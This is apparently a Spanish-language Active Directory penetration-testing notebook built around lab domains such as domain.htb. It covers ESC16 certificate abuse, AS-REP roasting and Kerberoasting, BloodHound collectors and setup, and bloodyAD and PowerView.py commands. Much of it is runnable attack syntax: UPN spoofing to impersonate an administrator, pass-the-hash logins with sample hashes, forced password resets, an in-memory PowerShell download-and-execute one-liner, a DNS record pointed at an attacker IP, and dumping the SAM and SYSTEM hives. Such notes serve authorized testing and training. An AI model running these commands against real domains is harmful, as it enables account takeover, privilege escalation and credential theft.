      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

Scenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a "victim" account's UPN)

# Step 1: Read initial UPN of the victim account (Optional - for restoration).

certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' read

Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.

certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update

Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).

En caso de disponer de las credenciales de victim, pasar directamente al paso 4.

certipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'

Step 4: Request a certificate as the "victim" user from any suitable client authentication template (e.g., "User") on the ESC16-vulnerable CA.

En caso de haber realizado el Shadow Credentials (Step 3) realizar los siguientes pasos.

export KRB5CCNAME=$(pwd)/victim.ccache

certipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'

En caso de disponer de las credenciales de victim y no haber realizado el Step 3, realizar lo siguiente:

certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'

Step 5: Revert the "victim" account's UPN.

certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update

Step 6: Authenticate as the target administrator.

certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'

References

Abusing Active Dierctory Certificate Services Explication --> https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
Abusing ADCS Attacks (ADMinions) --> https://adminions.ca/books/abusing-active-directory-certificate-services
Abusing ACS Attacks (The Hacker Recipes) --> https://www.thehacker.recipes/ad/movement/adcs/
Abusing ESC8 & ESC10 on ADCS --> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

Attacking Kerberos

AS-REP Roast Attack

Sí disponemos de un listado de usuarios válidos, realizar AS-REP Roast Attack para conseguir un Ticket Granting Ticket (TGT) y luego crackear su hash para obtener su contraseña.

Este ataque hace una consulta al DC si alguno de los usuarios que disponemos en el listado, tiene la flag de (DONT_REQ_PREAUTH) de Kerberos.

El ataque se puede intentar más veces si a lo largo encontramos más usuarios válidos. Desde BloodHound podemos ver los usuarios que tengan esta condición.

Kerberoasting Attack

Si disponemos de credenciales válidas de un usuario del dominio, podemos efectuar un Kerberoasting Attack para conseguir un Ticket Granting Service (TGS) de un usuario que tenga asignado un servicePrincipalName (SPN).

Este hash obtenido, podemos intentar crackearlo para obtener sus credenciales en texto plano.

Existe una excepción para realizar el Kerberoasting Attack sin disponer de credenciales.

Si sabemos que hay la existencia de un usuario que sea AS-REP Roast, es decir, que el usuario tenga la flag de (DONT_REQ_PREAUTH) habilitada, también podremos realizar este ataque sin disponer credenciales válidas.

En este caso, el usuario llamado usuarioASREP es susceptible a un AS-REP Roast, es decir, dispone de la flag (DONT_REQ_PREAUTH) de Kerberos habilitada.

Por lo tanto, podemos efectuar un Kerberoasting Attack sin disponer de credenciales válidas del dominio, pero teniendo un usuario que sea susceptible a AS-REP Roast.

Para más información, se puede consultar el siguiente blog en el cual explican el descubrimiento de este método.

BloodHound

Introduction

BloodHound es una herramienta fundamental en auditorías de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podría moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.

En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre BloodHound clásico y BloodHound Community Edition (CE).

A lo largo del blog veremos:

Cómo utilizar los diferentes collectors:
- SharpHound.exe: el ejecutable clásico.
- SharpHound.ps1: ideal para entornos con PowerShell habilitado.
- bloodhound-python: pensado para ejecución desde sistemas Linux.
- RustHound-CE: el collector moderno optimizado para BH-CE.
- NetExec: permite extraer relaciones básicas directamente desde Linux.
- certipy-ad: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE
Cuándo conviene usar cada uno.
Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.
Casos prácticos de uso en auditorías reales o entornos simulados.

El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditoría y aprovechar al máximo sus capacidades.

Collectors

Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los collectors, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.

Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.

En este apartado documentamos los principales collectors utilizados en auditorías de AD, incluyendo su instalación, ejecución y particularidades:

SharpHound.exe: el ejecutable clásico para entornos Windows.
SharpHound.ps1: alternativa en PowerShell útil en entornos con políticas más restrictivas.
bloodhound-python: collector multiplataforma, ideal para recolección desde sistemas Linux.
RustHound-CE: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.

Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditoría.

¡MUY IMPORTANTE!

Siempre que consigamos un nuevo usuario, se recomienda lanzar de nuevo el recolector de BloodHound con esas credenciales. Es posible que el primer usuario tuviera permisos limitados para enumerar el dominio, y con el nuevo podamos obtener más relaciones o privilegios que antes no eran visibles.

Por eso, con cada cuenta nueva, lo ideal es ejecutar otro collector y generar un nuevo .zip con la información actualizada del entorno.

bloodhound-python

Installation

Via APT

sudo apt install bloodhound.py -y

Via PIP

pip install bloodhound

Via PIPX

pipx install bloodhound

Via cloning repository

git clone https://github.com/dirkjanm/BloodHound.py
pip install .

Use

Se recomienda antes sincronizar la hora con el DC para evitar problemas de KRB_AP_ERR_SKEW.

sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10

# Autenticación usuario y contraseña

bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All

# Autenticación a través de Pass-the-Hash (PtH)

bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All

# Autenticación mediante Kerberos (.ccache)

bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos

RustHound-CE

Installation

Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.

Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.

cargo install rusthound-ce

Use

# Autenticación usuario y contraseña

rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound

# Autenticación mediante Kerberos (.ccache)

rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound

SharpHound.ps1

Importar en memoria SharpHound.ps1

# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.

IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")

# Teniendo el script de PowerShell en la máquina vícitma podemos importarlo de la siguiente manera

. .\SharpHound.ps1

Import-Module .\SharpHound.ps1

Recoletar información a través de SharpHound.ps1

Invoke-BloodHound -CollectionMethods All -Domain contoso.com

SharpHound.exe

Pasaremos el binario al equipo víctima y lo ejecutaremos para recolectar la información.

.\SharpHound.exe --CollectionMethods All

NetExec

# Autenticación a través de usuario y contraseña

nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

nxc ldap dc.dominio.htb --use-kcache --bloodhound --collection All --dns-server 10.10.10.10

certipy-ad

BloodHound

# Autenticación a través de usuario y contraseña

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

LDAP (Puerto 389)

certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug

Old BloodHound

# Autenticación a través de usuario y contraseña

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

LDAP (Puerto 389)

certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug

BloodHound CE

Installation

Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.

sudo apt update -y && sudo apt install docker-compose -y

Nos descargaremos el archivo del docker-compose.yml con cURL y comprobaremos que se ha descargado correctamente.

curl -L https://ghst.ly/getbhce -o docker-compose.yml

También podemos crear directamente el contenido del docker-compose.yml.

docker-compose.yml

# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0

services:
  app-db:
    image: docker.io/library/postgres:16
    environment:
      - PGUSER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_USER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
      - POSTGRES_DB=${POSTGRES_DB:-bloodhound}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    # ports:
    #   - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
    volumes:
      - postgres-data:/var/lib/postgresql/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  graph-db:
    image: docker.io/library/neo4j:4.4.42
    environment:
      - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
      - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    ports:
      - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
      - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
    volumes:
      - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "wget -O /dev/null -q http://localhost:7474 || exit 1"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  bloodhound:
    image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
    environment:
      - bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
      - bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
      - bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
      - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
      - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
      - bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
      - bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
      ### Add additional environment variables you wish to use here.
      ### For common configuration options that you might want to use environment variables for, see `.env.example`
      ### example: bhe_database_connection=${bhe_database_connection}
      ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
      ### is the variable available outside of Docker
    ports:
      ### Default to localhost to prevent accidental publishing of the service to your outer networks
      ### These can be modified by your .env file or by setting the environment variables in your Docker host OS
      - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
    ### Uncomment to use your own bloodhound.config.json to configure the application
    # volumes:
    #   - ./bloodhound.config.json:/bloodhound.config.json:ro
    depends_on:
      app-db:
        condition: service_healthy
      graph-db:
        condition: service_healthy

volumes:
  neo4j-data:
  postgres-data:

Iniciaremos los contenedores definidos en el archivo docker-compose.yml.

sudo docker-compose up -d

Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.

sudo docker ps

Comprobaremos la contraseña inicial en los logs.

sudo docker logs bloodhound-ce_bloodhound_1

Accederemos a http://localhost:8080 y asignaremos las siguientes credenciales:

Username: admin
Password: Contraseña Inicial obtenida en el punto anterior

Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.

Normalmente 12 caracteres mínimo, 1 mayúscula, 1 minúscula, 1 número y 1 símbolo especial.

Ya dispondremos de nuestro BloodHound CE instalado correctamente en nuestro equipo a través de Docker.

Video installation guide

Start BloodHound CE

En mi caso tengo el archivo docker-compose.yml en el directorio /opt/BloodHound-CE. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.

Para iniciar el BloodHound-CE deberemos tener los contenedores ya instalados tal y como se indica en los puntos anteriores.

El comando sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml up -d nos sirve para iniciar de cero los contenedores, esto es útil si hay alguna modificación en el docker-compose.yml. En nuestro caso no lo modificaremos, por lo tanto deberemos utilizar el start para iniciarlo.

sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

Stop BloodHound CE

Para parar BloodHound-CE ejecutaremos el siguiente comando, así liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop

Ingest Data

Para subir nuestra información recolectada a través de los Collectors, deberemos de ingresar a http://localhost:8080. Una vez nos encontremos en el panel de BloodHound-CE realizaremos los siguientes pasos.

Ingresar al apartado de "Administration"
Acceder a la pestaña de "File Ingest"
Click en "Upload File(s)"

Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.

Seleccioanaremos nuestro archivo comprimido.

Una vez seleccionado nuestro archivo, le daremos a la opción de Upload.

Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a Close.

Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como Complete. En caso de que aparezca otro estado como Cancelled, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del Collector utilizado, probar con otro.

Una vez todo subido, podemos hacer uso de BloodHound-CE y navegar en la interfaz.

Erase Data

Cuando necesitemos borrar la "base de datos" que tiene BloodHound-CE de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "limpieza profunda" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.

Accederemos al apartado "Administration"
Ingresaremos al apartado de "Database Management"
Marcaremos todas las casillas, para la "limpieza profunda"
Haremos click en la opción de "Proceed"
Ingresaremos la palabra clave para confirmar la eliminación "Please delete my data"
Una vez ingresada la palabra de confirmación, le daremos a "Confirm".

How to use

Una vez tengamos subido nuestros datos en BloodHound-CE, podremos navegar en la interfaz accediendo al apartado de "Explore".

Search

En el apartado de SEARCH podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).

Click node info

Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.

Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.

En el apartado de Object Information, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:

Distinguished Name
Si el usuario dispone de DONT_REQ_PREAUTH (Es decir, susceptible a AS-REP Roast)
Si se encuentra habilitado

Al desplegar el apartado de Member Of de un nodo/objeto (usuario) en este caso, nos aprecerá un esquema de cómo se encuentra distribuido, a qué grupos forma parte, etc.

En la sección Outbound Object Control, BloodHound muestra los objetos sobre los que tenemos control gracias a permisos ACL. Esto nos permite identificar posibles vectores de ataque, como movimientos laterales o escaladas de privilegios.

Desde aquí podemos ver relaciones útiles como GenericWrite, WriteDACL, AddMember, entre otras, que nos dan acceso directo a otros usuarios, grupos o equipos del dominio.

Tenemos una gran lista de ACLs interesantes para atacar en Abusing Active Directory ACLs/ACEs.

En la sección Inbound Object Control, BloodHound muestra qué objetos del dominio tienen control sobre nosotros mediante ACLs.

Pathfinding

La funcionalidad de Pathfinding en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.

En este ejemplo, partimos desde OLIVIA@ADMINISTRATOR.HTB, que tiene un GenericAll sobre MICHAEL@ADMINISTRATOR.HTB, lo que permite control total sobre esa cuenta. A su vez, MICHAEL puede forzar el cambio de contraseña de BENJAMIN@ADMINISTRATOR.HTB, lo que completa la cadena de ataque.

Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.

Edges

En BloodHound CE, los edges representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (MemberOf), delegaciones (GetChanges, GenericAll, etc.), sesiones activas, ACLs y muchas otras.

Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:

Muestra una descripción técnica de la relación detectada.

Explica cómo se podría abusar de esa relación desde un entorno Windows.

Muestra el equivalente en herramientas como Impacket o similares desde Linux.

Enlaces útiles para ampliar la información técnica o práctica del abuso.

Marking Objects as Owned/High Value

BloodHound CE permite marcar manualmente objetos del dominio como Owned (comprometidos) o High Value (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditoría y enfocar los análisis de ruta hacia activos críticos.

Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un ícono correspondiente.

Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).

Se usa para señalar objetivos importantes como Domain Admins, cuentas de servicio clave o sistemas críticos.

En el panel Group Management podemos gestionar de forma organizada los objetos marcados como Owned o High Value. Su uso se resume en los siguientes pasos:

Accedemos al apartado Group Management desde el ícono de personas (barra lateral izquierda).
Seleccionamos el grupo que queremos revisar Owned/High Value.
Elegimos el entorno, normalmente All Active Directory Domains.
Aplicamos filtros si queremos ver solo ciertos tipos de nodos (User, Group o Computer, etc).
Se muestra el listado de objetos que pertenecen a ese grupo, junto con su tipo y estado.
Al hacer clic sobre un nodo, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.
Esta sección permite llevar control visual de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.

Querys Cypher

En esta sección podemos lanzar queries en lenguaje Cypher para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos críticos de forma más precisa.

BloodHound CE ya trae varias queries predefinidas, como:

Usuarios Kerberoastables
Rutas más cortas hacia Domain Admins
Listado de todos los Domain Admins
Principales con privilegios peligrosos (DCSync, GenericAll, etc.)

También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.

Custom Querys

BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones específicas en el grafo y reutilizar esas búsquedas en futuras auditorías.

En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.

En este caso, ponemos la QUERY que queremos consultar, le daremos a "Save Query".

Le asignaremos un nombre a la QUERY.

Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.

BloodHound

Installation

Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.

sudo apt update -y && sudo apt install bloodhound neo4j -y

Abriremos en una terminal aparte Neo4j, se nos iniciará la interfaz web en http://localhost:7474

sudo neo4j console

Accederemos a http://localhost:7474 e ingresaremos las siguientes credenciales por defecto.

Username: neo4j
Password: neo4j

Nos pedirá cambiar la contraseña.

Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.

bloodhound > /dev/null 2>&1 & disown

Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.

Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.

Video installation guide

Start BloodHound and Neo4j

Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.

En una terminal aparte, abriremos Neo4j. Deberemos dejar que nos aparezca la línea del output en el cual indica que la interfaz web está habilitada en http://localhost:7474

sudo neo4j console

Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.

bloodhound > /dev/null 2>&1 & disown

Ingest Data

En redacción...

Erase Data

En redacción...

How to use

En redacción...

Tools

bloodyAD

Introduction

Esta herramienta puede realizar llamadas LDAP específicas a un controlador de dominio para realizar escalada de privilegios en AD.

En Kali Linux la herramienta se puede instalar simplemente a través del siguiente comando.

Repositorio de GitHub de la herramienta

Attacking AD using bloodyAD

# Leer LAPS Password

# Leer GMSA Password

# Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite)

# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado

# Añadir usuario a un grupo

# Shadow Credentials Attack (luego hay que hacer unPacTheHash)

# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

# Hacer propietario a usuario sobre un objeto (permisos de WriteOwner)

# Asignar permisos GenericAll sobre un usuario a un objeto para tener control total

# Cambiar contraseña de un usuario

# Añadir permisos DCSync sobre un objeto

# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión

# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.

# Asignar un UPN (userPrincipalName) diferente para ataques como UPN Spoofing

# Asignar valor al atributo altSecurityIdentities para ataques X.509/ESC14

Kerbrute

Introducción

Una herramienta para realizar una fuerza bruta rápida y enumerar cuentas válidas de Active Directory a través de la autenticación previa Kerberos.

Instalación y guía de uso

Clonar repositorio de GitHub.

Guía detallada a través del siguiente blog.

MUY IMPORTANTE TENER LA HORA DE NUESTRO EQUIPO CON LA DEL DOMAIN CONTROLLER

Users Enumeration

Password Spraying and Brute Force

Impacket

AS-REP Roast (GetNPUsers)

Kerberoasting Attack (GetUserSPNs)

Obtaining Ticket Granting Ticket [TGT] (getTGT)

Resource Based Constrained Delegation [RBCD] (getST)

ldapsearch

ldapsearch es una herramienta de línea de comandos utilizada para realizar búsquedas en un servidor LDAP. Sirve para consultar información almacenada, como usuarios, grupos, correos electrónicos o cualquier otro dato que administre el directorio.

Authentication

Enumerating LDAP with ldapsearch

# Identificación del nombre de dominio

# Enumerar LDAP en busca de contenido que contenga "pwd|password"

# Enumerar objetos en LDAP sobre aquellos objetos que tengan datos en el campo "info"

# Leer LAPS Password

# Enumerar usuarios que comiencen por "m.lov"

# Enumerar usuarios que contengan las palabras "lov"

# Enumerar usuarios que acaben por "god"

# Enumerar usuarios a través de LDAP

# Enumerar usuarios del AD y mostrar a que grupo forman parte

# Enumerar equipos del AD con toda su información

# Enumerar miembros del grupo 'Moderators' de ejemplo

# Enumerar campos importantes sobre el usuario llamado 'user'

PowerView.py

Introduction

PowerView.py es una alternativa al fantástico script original PowerView.ps1. La mayoría de los módulos utilizados en PowerView están disponibles aquí (algunos de los indicadores han cambiado). El objetivo principal es lograr una sesión interactiva sin tener que autenticarse repetidamente en LDAP.

Installation

sudo apt install libkrb5-dev
pip3 install powerview --break-system-packages

Use

Autenticación básica (User/Passworrd)

powerview dominio.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10

Autenticación mediante Pass-the-Hash (PtH)

powerview dominio.htb/user@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10.10

Autenticación mediante Kerberos

powerview dominio.htb/user@dc.dominio.htb --dc-ip 10.10.10.10 -ns dc.dominio.htb -k --no-pass

Web Browser

powerview dominio.htb/'user':'password'@10.10.10.10 --web --web-host 127.0.0.1 --web-port 3000

Attacking AD using PowerView.py

# Añadir usuario a un grupo

Add-DomainGroupMember -Identity 'GROUP_TARGET' -Members 'USER_TARGET'

# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'

# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado

Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=66048'

# Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'

# Leer contraseña GMSA

Get-GMSA

# Kerberoasting Attack

Invoke-Kerberoast

# Modificar contraseña de un usuario

Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

# Convertir el usuario 'user_target' en propietario del objeto 'object_target'

Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'

# Añadir un nuevo Domain Computer

Add-ADComputer -ComputerName 'Gzzcoo' -ComputerPass 'Password01!'

# Añadir un nuevo usuario del dominio

Add-ADUser -UserName 'Gzzcoo' -UserPass 'Password01!'

# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.

Add-DomainDNSRecord -RecordName '<dns_record_target>' -RecordAddress <ATTACKER_IP>

WINDOWS PENTESTING

Windows Privilege Escalation

Abusing Tokens

SeImpersonatePrivilege

El privilegio SeImpersonatePrivilege permite a un usuario ejecutar programas en nombre de otro, es decir, impersonar a un cliente. Fue introducido en Windows 2000 SP4 y está asignado a miembros del grupo de administradores locales, cuentas de servicio local y otros servicios específicos (como COM y RPC). Su propósito es evitar que servidores no autorizados impersonen a los clientes que se conectan a ellos. Este privilegio puede ser explotado para ganar control o ejecutar acciones con los permisos de un usuario más privilegiado.

PrintSpoofer

JuicyPotato

Churrasco

El exploit churrasco es similar al exploit JuicyPotato. En algunos casos, el exploit JuicyPotato no es compatible con sistemas más antiguos, como Windows Server 2003 o Windows XP. Se trata de una escalada de privilegios de Windows desde cuentas de “servicio” a cuentas “NT AUTHORITY\SYSTEM”.

PoC

C:\Temp>systeminfo
systeminfo

Host Name:                 GRANNY
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:                5.2.3790 Service Pack 2 Build 3790

SeBackupPrivilege

El privilegio SeBackupPrivilege permite a un usuario crear copias de seguridad del sistema, lo que les da acceso total de lectura a todos los archivos, sin importar las restricciones de ACL. Esto incluye archivos sensibles como el SAM o el SYSTEM Registry. Un atacante puede usar este privilegio tras obtener acceso inicial al sistema, leyendo estos archivos y crackeando contraseñas de usuarios con altos privilegios.

Utilizamos nuestro SeBackupPrivilege para leer el archivo SAM y guardar una variante del mismo. De forma similar, leemos el archivo SYSTEM y guardamos una variante del mismo.

*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.

